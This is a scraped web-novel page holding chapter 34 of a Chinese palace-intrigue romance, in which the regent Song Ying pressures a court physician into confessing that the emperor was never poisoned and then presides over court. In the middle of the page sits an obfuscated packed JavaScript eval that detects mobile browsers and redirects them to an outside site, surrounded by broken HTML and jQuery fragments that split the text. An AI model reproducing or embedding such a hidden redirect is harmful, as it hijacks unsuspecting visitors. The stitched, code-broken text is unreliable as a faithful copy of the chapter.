34. 第 34 章
作品:《限制文反派他不按剧本走》 宋迎只能撑一时,自然搬不动人高马大的狗皇帝。
“来人。”她高声喊道,“将陛下移驾偏殿。”
内侍手忙脚乱地将不省人事的永昭帝抬走。
宋迎环视了圈,这万春殿是没法住了,重新装修吧。
她继续吩咐道:“这里的东西,不必修了,全都换新的。”
待她安排好一切,回到偏殿,太医院的张院正已经到了。
永昭帝被宫人伺/候着,换了身干净寝衣。
偏殿的床到底没有正殿的大,被他一个人占个满当,都快躺不下了。
那晚上她还要怎么睡啊。
宋迎蹙着眉,扫了眼永昭帝,便坐在一旁。
她姿态端凝,呷一口新茶,驱了驱寒气。
半晌,张院正撤手,回话道:
“回禀殿下,陛下方才急火攻心,致使气血逆行,神思混乱。待陛下醒来,好生休养,便无大碍了。”
“有劳张太医了。”宋迎抬眼笑道,“去外头领赏吧。”
张院正暗松了口气,连忙叩首谢恩:“多谢殿下赏赐,此乃臣分内之事。”
他提着药箱,躬身退出殿外。
张院正一只脚刚迈过门槛,身后,便传来一声轻笑。
下一瞬,他只觉后背贯入一股疼痛,接着,整个人不受控制地向前扑去。
脸直接栽进庭院里的积雪中。
头冠摔得歪斜,雪沫呛进口鼻,张院正顾不得去擦脸上狼狈,连忙回过身,重新跪好。
“殿下!臣、臣不知犯了何罪?”
宋迎缓步,踱至他面前,长身玉立。
她垂眸睨着,方才和煦笑意荡然无存,眉眼浸在阴影里,凉薄又寡恩。
“张太医怕是忘了,”宋迎轻嗤,“本王乃当今摄政王,大权在握,一人之下而已。”
“胆敢对本王阳奉阴违,你猜,你的项上人头,能不能安稳待到陛下醒来?”
张院正浑身抖如筛糠,不知是被冻的,还是被吓得。
“臣、臣不敢!臣所言句句属实,绝无半句虚言!”
他不住地磕头,额头撞在雪地里,洇出一片殷红。
宋迎撇过视线,说实话,她也拿不准。
可那狗皇帝……说是体虚得卧床静养,偏偏抓着她的力气大得惊人。
就没见过哪个快死的人,亲起嘴来还那么凶的。
她泄了口气,既然威逼无用……
宋迎话锋一转:“本王听说,张院正的掌上明珠,许了傅家二公子?”
张院正身子猛地一僵,不明白为何突然提起这个。
宋迎眉梢微挑,复又继续:“傅二郎眠花宿柳的名声,整个京州谁人不知?”
张院正哆嗦着,他当然知道傅二的德行!
都怪他!都怪他这张管不住的嘴!
平日里总忍不住在同僚面前夸耀女儿的乖巧贴心,否贼也不会被人盯上!
吏部侍郎,官居三品,又岂是他能得罪的起的!
张院正重重叹了口气,闭上眼。
宋迎俯下身,指尖拂去他肩头积雪,“张大人,那是你唯一的女儿。你真舍得?”
张院正肩头剧颤,新雪簌簌而落。
他怎么舍得,那是他唯一的女儿啊!
“本王向来心善,”宋迎勾唇起身,“这样吧,明日,本王便亲自为你女另择良婿,至于傅家那门亲事,一道懿旨作废便是。”
她好整以暇地睨着,“你,意下如何?”
张院正猛地抬起双眸,老泪夺眶而出,一个头重重磕下。
额头埋入冰雪,崩溃声从雪地里传来:“殿下……殿下饶命!”
“陛下……陛下他安然无恙!他、他根本没有中毒!”
寒风呼啸破碎,吹得宋迎有点冷,脑子也有点乱。
据张院正所言,永昭帝根本没有中毒。
这怎么可能呢,黎婧容为了复国大业,怎么可能不下毒?
难道她所依仗的“剧情”,从根本上就是个谎言?
还是……其中发生了什么变故?
宋迎百思不得其解,她无暇顾及张院正,转身进了屋。
永昭帝睡得很沉。
方才太医为他处理好了伤口,那只手被裹得像粽子,搁在被褥上。
薄唇微抿,长睫投出两弯小小阴影,遮住了那双金瞳,竟透出几分少年气。
……装得还挺像。
宋迎在心底冷嗤,眯着眼睛,目光如刀,恨不得在他脸上多划几道口子。
可一落上去,心头那点薄怒,竟被卸得干干净净。
——“他喜欢她。”
这个事情又扎了宋迎一下。
扎得眼睛有点热,她移开视线,不敢再看他。
宋迎转身,不知为何踱步至殿中一人高穿衣镜前。
镜中清晰映出她的模样。
头戴束发玉冠,冠上东珠温润生光。
一袭绀黄四爪蟒袍,云纹自领口张扬至袖口。
穿上,便不怒自威。
穿上,便冷冽如霜。
宋迎看着镜中的自己,微微蹙起了眉。
这身衣裳,她其实一点都不喜欢。
朝服的料子又硬又沉,尤其是这高领,总硌得她下巴不舒服。
绀黄色也显得老气横秋,她明明最喜欢绯色和水绿了!
袍子上的四爪金蟒更是张牙舞爪,狰狞得很。
她还是喜欢那些漂亮柔软的罗裙,更喜欢用朱钗松松挽起长发。
玉冠好沉,压得她头皮都疼。
可她,是摄政王。
他们之间,本该是君臣。
可现在,那条界限,似乎渐渐变得模糊起来。
宋迎,你扪心自问,你对狗皇帝,到底是什么感觉?
喜欢?
宋迎在心底咀嚼着这个词,随即又觉得好笑。
谈不上吧。
她只是觉得,这头桀骜不驯的凶兽,如今愿意收起獠牙,摇着尾巴,露出柔软肚皮的时候——
心底突然生出一丝奇特的满足感。
这种感觉很熟悉。
上一辈子,她不是没被高大强壮的哨兵追求过。
怎么说呢。
总感觉怪怪的。
在哨向设定的世界里,向导的稀缺性本该成为主导者,但大多时候,向导却属于下置位,沦为附庸。
——只因哨兵数量过于庞大,庞大到大多是他们掌握着话语权。
即使是她这个F级,因为数量稀少的原因,也从不缺追求者。
那些哨兵,把“我愿意为你献上生命”挂在嘴边,仿佛是什么了不得的事。
但是,宋迎想找个人陪着去图书馆的时候——
他们只会用看怪物的眼神看她,然后打开光脑说:“为什么要去那看书?整个联邦书库的数据,我不到一秒就能下载完毕。”
“难道你的光脑没有升级吗?我可以帮你。”
感觉他们是在嫌弃她老土。
不,他们就是在嫌弃她老土。
那永昭帝和他们,又有什么区别?
他或许是主宰一切的帝王。
可他收起獠牙,难道不也是因为,他意识到了她的“利用价值”吗?
宋迎甚至懒得去想以后。
以永昭帝的性格,他若想要,只会直接夺取,从不会问猎物的意愿。
他的喜欢,一旦宣之于口,便不是商榷,而是圣旨。
就像从前,他做过的无数次决策一样——
她的意见,永远都不重要。
从前不重要,以后也不会重要。
宋迎跳动的心,渐渐冷却下来。
殿外,准时响起小太监通传声:
“殿下,该上朝了。”
是啊,还有好多事等着她做呢。
两个时辰后的事,便留给两个时辰后的自己。
宋迎迈过门槛,朝服拖曳出一道流影。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975390|175247||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
金銮殿上,百官分列两侧。
龙椅高悬,却空无一人。
所有人的目光,尽数攒射在龙椅之下的那个身影上。
宋迎凭栏而立,“有事,奏。”
话音刚落,有人便从队列中越步而出,躬身道:“臣,有本要奏。”
“讲。”
“启禀殿下!宫禁疏漏,刺客横行,前有储秀阁,后有尚食司!此乃我大景之奇耻大辱!臣以为,禁军统领与内庭总管,皆有失职之罪,恳请殿下严惩!”
话音刚落,殿中便有数人蠢蠢欲动,正欲附和。
还没等附和声起,另一名老臣已然出列,
“陛下龙体乃国之根本!可至今缠绵病榻,太医院竟连个病因都说不出来!臣敢问殿下——这究竟是太医无能,还是有人……另有所图?!”
“王大人慎言!”一声喝止打断了诛心之语。
众人循声望去,只见盛向明排众而出。
王侍郎认得他,是摄政王一手提拔的寒门新贵,好像去江南办了什么差事,才回京不久。
顿时面露不屑:“有何高见?”
盛向明先是朝上首恭敬一揖,而后朗声道:
“王大人此言,恕下官不敢苟同!正因宵小猖獗,才更显殿下之功。若非殿下亲肃内廷、调派禁/卫,焉有今日安稳?”
“至于陛下龙体,殿下忧心如焚,彻夜陪护,此乃阖宫上下有目共睹!王大人不思为君分忧,反倒在此捕风捉影,以市井流言构陷监国重臣,意图动摇国本——”
盛向明向前踏出一步,“不知,是何居心?!”
有人帮自己说话的感觉真是好。
宋迎终于能够理解高伯深为什么要结党营私了。
眼见那王大人气得发抖,就要与盛向明争辩,殿上气氛愈发剑拔弩张。
宋迎抬手虚按,“盛卿所言,亦是本王所想。”
她一句话先定了性,随即目光飘至王侍郎身上,
“不过,王大人的忧心也不无道理。陛下圣体日安,不日便可亲理朝政。这些话,王大人可敢留到陛下面前,再说一次?”
宋迎轻飘飘一句反问,却让那人浑身一颤,跪倒在地:“臣、臣失言!请殿下恕罪!”
没点骨气的东西。
她睨了眼,淡淡吐出两个字:
“退下吧。”
钟磬响起,下了朝,百官鱼贯而出。
宋迎行在最前,身后却传来一道声音。
“殿下,请留步。”
是盛向明。
宋迎停下脚步,转身看他。
晨光穿过雕栏玉砌,光斑跳跃在他脸上,那双耿直的眼眸,显得有些灼人。
盛向明快走几步上前,深深一揖:“臣,多谢殿下知遇之恩。”
宋迎的目光在他身上停留了片刻,不曾想这么些时日他便回京了。
此人有胆识,有谋略,假以时日,必成大器,应当好好夸奖才是!
声音是难得的温软,“本王只是给了你一个机会。”
她顿了顿,看着对方骤然亮起的眼睛,
“是你自己,牢牢抓住了它。”
就是这一刹那的柔和,让盛向明的心跳漏了一拍。
他怔在原地,目光竟有些挪不开了。
宋迎几乎是立刻就捕捉到了他的异样,眼中笑意凝固。
“盛向明,”她眉头微蹙,声音冷了三分,“你在看什么?”
盛向明猛地回神,骇然惊觉自己方才的目光有多僭越!
热意从耳根烧到脖颈,他慌忙垂下头,“臣失礼!请殿下恕罪!”
“是、是因……”他心头狂跳,慌不择言地解释,“殿下方才展颜,眉眼神韵,像极了臣的一位故人……”
宋迎心中微动,隐约察觉了什么。
她向前半步,“那人,姓甚名谁?”
盛向明窘迫至极,老老实实回答道:“……姓宋。”
“……名,晋同。”